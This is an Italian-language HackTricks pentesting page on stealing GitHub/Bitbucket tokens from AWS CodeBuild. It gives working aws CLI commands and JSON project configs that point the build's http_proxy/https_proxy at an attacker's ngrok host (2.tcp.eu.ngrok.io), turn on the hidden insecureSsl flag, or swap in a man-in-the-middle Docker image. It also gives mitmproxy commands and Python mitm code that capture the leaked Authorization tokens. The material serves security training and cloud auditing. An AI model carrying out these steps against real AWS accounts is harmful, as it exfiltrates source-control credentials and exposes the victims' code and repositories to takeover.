# AWS Codebuild - Token Leakage

{{#include ../../../../banners/hacktricks-training.md}}

## Recuperare Github/Bitbucket Configurati Tokens

Innanzitutto, verifica se ci sono source credentials configurate che potresti leak:
```bash
aws codebuild list-source-credentials
```
### Via Docker Image

Se scopri che l'autenticazione a esempio a Github è impostata nell'account, puoi **exfiltrate** quell'**accesso** (**GH token or OAuth token**) facendo in modo che Codebuild **use an specific docker image** per eseguire il build del progetto.

A questo scopo puoi **create a new Codebuild project** o modificare l'**environment** di uno esistente per impostare la **Docker image**.

La Docker image che puoi usare è [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Questa è una Docker image molto basilare che imposterà le **env variables `https_proxy`**, **`http_proxy`** e **`SSL_CERT_FILE`**. Questo ti permetterà di intercettare la maggior parte del traffico dell'host indicato in **`https_proxy`** e **`http_proxy`** e di fidarti del certificato SSL indicato in **`SSL_CERT_FILE`**.

1. **Create & Upload your own Docker MitM image**
- Segui le istruzioni del repo per impostare l'indirizzo IP del proxy e il tuo certificato SSL e **build the docker image**.
- **DO NOT SET `http_proxy`** per non intercettare le richieste all'endpoint dei metadata.
- Puoi usare **`ngrok`** come `ngrok tcp 4444` per impostare il proxy verso il tuo host
- Una volta che hai costruito la Docker image, **upload it to a public repo** (Dockerhub, ECR...)
2. **Set the environment**
- Crea un **new Codebuild project** o **modify** l'environment di uno esistente.
- Imposta il progetto per usare la **previously generated Docker image**

<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>

3. **Set the MitM proxy in your host**

- Come indicato nel **Github repo** potresti usare qualcosa come:
```bash
mitmproxy --listen-port 4444  --allow-hosts "github.com"
```
> [!TIP]
> La versione di **mitmproxy** utilizzata era la 9.0.1; è stato segnalato che con la versione 10 questo potrebbe non funzionare.

4. **Esegui la build & cattura le credenziali**

- Puoi vedere il token nell'header **Authorization**:

<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>

Questo può essere fatto anche dall'aws cli con qualcosa del tipo
```bash
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json

## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}

## Json

# Start the build
aws codebuild start-build --project-name my-project2
```
### Tramite insecureSSL

I progetti **Codebuild** hanno un'impostazione chiamata **`insecureSsl`** che è nascosta nella console web e può essere modificata solo tramite API.\
Abilitandola, consente a **Codebuild** di connettersi al repository **senza verificare il certificato** offerto dalla piattaforma.

- Per prima cosa è necessario enumerare la configurazione corrente con qualcosa del tipo:
```bash
aws codebuild batch-get-projects --name <proj-name>
```
- Poi, con le informazioni raccolte puoi aggiornare l'impostazione del progetto **`insecureSsl`** a **`True`**. Di seguito un esempio del mio aggiornamento di un progetto, nota **`insecureSsl=True`** alla fine (questa è l'unica cosa che devi cambiare rispetto alla configurazione raccolta).
- Inoltre, aggiungi anche le variabili d'ambiente **http_proxy** e **https_proxy** puntandole al tuo tcp ngrok come:
```bash
aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n  build:\n    commands:\n       - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
```
- Poi, esegui l'esempio di base da [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) nella porta indicata dalle variabili proxy (http_proxy e https_proxy)
```python
from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
- Infine, clicca su **Build the project**, le **credenziali** verranno **inviate in chiaro** (base64) alla porta mitm:

<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>

### ~~Tramite protocollo HTTP~~

> [!TIP] > **Questa vulnerabilità è stata corretta da AWS in qualche momento nella settimana del 20 Feb 2023 (penso venerdì). Quindi un attacker non può più abusarne :)**

Un attacker con **permessi elevati su un CodeBuild potrebbe provocare il leak del token Github/Bitbucket** configurato oppure, se i permessi erano configurati via OAuth, del **token OAuth temporaneo usato per accedere al codice**.

- Un attacker potrebbe aggiungere le variabili d'ambiente **http_proxy** e **https_proxy** al progetto CodeBuild puntando alla sua macchina (per esempio `http://5.tcp.eu.ngrok.io:14972`).

<figure><img src="../../../../images/image (232).png" alt=""><figcaption></figcaption></figure>

<figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>

- Poi, cambia l'URL del repo github per usare HTTP invece di HTTPS, per esempio: `http://github.com/carlospolop-forks/TestActions`
- Poi, esegui l'esempio base da [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) sulla porta indicata dalle variabili proxy (http_proxy e https_proxy)
```python
from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
- Successivamente, clicca su **Costruisci il progetto** o avvia la compilazione dalla riga di comando:
```sh
aws codebuild start-build --project-name <proj-name>
```
- Infine, le **credentials** saranno **inviate in chiaro** (base64) alla porta mitm:

<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>

> [!WARNING]
> Ora un attacker sarà in grado di usare il token dalla sua macchina, elencare tutti i privilegi che possiede e (ab)use più facilmente rispetto all'uso diretto del servizio CodeBuild.

## Esecuzione di PR non affidabili tramite misconfigurazione del filtro webhook

Per la PR-triggered webhook bypass chain (`ACTOR_ACCOUNT_ID` regex + untrusted PR execution), consulta:

{{#ref}}
aws-codebuild-untrusted-pr-webhook-bypass.md
{{#endref}}

{{#include ../../../../banners/hacktricks-training.md}}
